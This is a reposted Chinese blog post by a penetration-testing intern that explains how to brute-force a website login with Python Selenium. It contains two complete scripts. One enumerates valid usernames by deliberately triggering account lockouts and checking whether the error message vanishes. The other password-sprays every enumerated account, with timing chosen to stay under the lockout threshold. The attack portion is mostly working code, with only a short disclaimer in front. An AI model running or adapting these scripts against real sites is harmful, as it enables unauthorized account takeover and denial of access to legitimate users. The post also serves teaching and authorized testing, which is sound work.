0


渗透测试——python脚本(selenium模块)暴力破解

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

背景:实习的第二个周的第二个评估网站项目,很明显,这里没有验证码(有验证码的情况也可以用这个方法,具体可以在网上去学习),但是通过抓包账号密码很明显是被加密过的,本来想着通过前端js逆向加密算法,但老大叫我和另一个新入职的同事一人用一种方法,叫我去学习一下python的selenium模块(其实我对逆向前端js也不怎么会)。然后今天告诉我多发点文章,多和别人交流,也就有了这篇文章,也是我人生中第一次在互联网上发表文章,界面如下(由于是实际案例,我就不上完整的图了)。

关于selenium:这里不做过多赘述,旧版本的也直接过掉,简单说一下安装及使用方法。

安装:pip install selenium

定位元素:ID定位,NAME定位,Class Name定位,Tag Name定位, Link Text定位,Partial Link Text定位,CSS Selector定位,XPATH定位。

个人最喜欢的也认为是最有用的是最后一种,其他的不做赘述(你随便打开一个网站f12都会发现很多重名的标签,使用必定报错),为什么我喜欢最后一种,因为方便且准确,如下图。直接选中你要定位的地方,鼠标右键复制就有XPATH。

直接上代码(第一次写文章写到这儿不知道怎么编下去了,慢慢学习)

枚举用户名:****思路是一个账号在3分钟以内只能登录5次,也就是36s一次,我设置一个账号连续登录6次,如果被锁了,页面就不会弹用户名或密码错误,就可以枚举出用户名(这个用户名是有规律的,可以用python来生成,这里涉及公司,我就不展示了),并保存到字典。

import time
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
def login(username,password):
    username1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
    password1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
    username1.send_keys(username)#输入用户名
    password1.send_keys(password)#输入密码
    login=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
    login.click()#点击登录按钮
    username1.clear()#清空用户名框
    password1.clear()#清空密码框
    time.sleep(0.5)#这里sleep()的原因是因为如果跑的太快的话下面的代码会有误报
    islogin=web.page_source.find("用户名或密码错误")==-1#3分钟内相同的账号连续输入错误5次密码账户会锁定3分钟,页面就不会“弹出用户名或密码错误”
    return islogin
def user():
    try:
        user=open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
        while True:
            password=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#这里的密码其实可以不用字典,随便用一个一眼看上去就是错误的密码就行,因为是对用户名进行枚举
            userline=user.readline()
            if not userline:
                break
            userlist=userline.split("\n")
            for i in range(6):#相同的帐号连续登录6次,第六次如果被封锁了那么就是正确的账号,不存在的账号可以无限登
                passline=password.readline()
                if not passline:
                    break
                passlist=passline.split("\n")
                islogin=login(userlist[0],passlist[0])
                print(userlist[0],passlist[0],islogin)
                if islogin:#如果返回结果为真,即页面没有弹出用户名或密码错误,那么这个用户名就是存在的
                    with open("C:\\Users\\Admin\\Desktop\\user.txt","a",encoding="utf-8") as f:#将枚举出来的用户名进行保存
                        f.write(userlist[0])
                        f.write("\n")
    except:#这里设置异常的原因主要是因为我老是直接关闭打开的浏览器,就会报错一片红,看着就烦躁所以就加了。
        print("退出")
if __name__=="__main__":
    web=selenium.webdriver.Edge()# 创建Edge浏览器对象
    web.get("www.xxx.com")#设置要访问的网址,并打开网址。
    user()

用户名枚举结果:

import threading
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
import datetime
import time
def loginoa(username,password):
    user=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
    pw=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
    user.send_keys(username)#输入用户名
    pw.send_keys(password)#输入密码
    login=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
    login.click()#点击登录按钮
    user.clear()#清空用户名框
    pw.clear()#清空密码框
    islogin=driver.page_source.find("退出")!=-1#判断登录状态,这个方法是对页面中
    return islogin
def mima():
    try:
        passfile=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#密码字典
        while True:
            starttime = datetime.datetime.now()#开始时间
            user = open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
            passline=passfile.readline()
            if not passline:
                break
            passlist=passline.split("\n")
            #userline=user.readline()
            #if not userline:
                #break
            #userlist=userline.split("\n")
            while True:
                userline=user.readline()
                userlist=userline.split("\n")
                if not userline:
                    break
                #passline=passfile.readline()
                #if not passline:
                    #break
                #passlist=passline.split("\n")
                islogin=loginoa(userlist[0],passlist[0])
                print("用户名:"+userlist[0],"密码:"+passlist[0],"login",islogin)
            endtime = datetime.datetime.now()#结束时间
            a = (endtime-starttime).seconds#时间差
            b=36-a#这里是因为一个账号3分钟内只能登录5次,也就是36s一次,如果同一个账号在36s以内执行第二次,那么就先sleep(b)
            if b<=36 and b>=0:
                time.sleep(b)
                print("我睡了:",b,"s")
    except:
        print("结束")
if __name__=="__main__":
    driver = selenium.webdriver.Edge()# 创建Edge浏览器对象
    driver.get("http://www.xxx.com")#设置要访问的网址,并打开网址。
    a=threading.Thread(target=mima,args='')
    a.start()

运行效果:先遍历账号以相同的密码进行组合登录(因为一个账号只能36s登一次)

结语:由于第一次写文章没什么经验,专业能力还差很多,我也是在老大的鼓励下,才敢写一点关于自己的三脚猫都算不上的专业知识,如有错误或可以改进的地方,请各位大佬斧正!

标签: python 开发语言

本文转载自: https://blog.csdn.net/weixin_54346898/article/details/132153570
版权归原作者 小洋仔0 所有, 如有侵权,请联系我们删除。

“渗透测试——python脚本(selenium模块)暴力破解”的评论:

还没有评论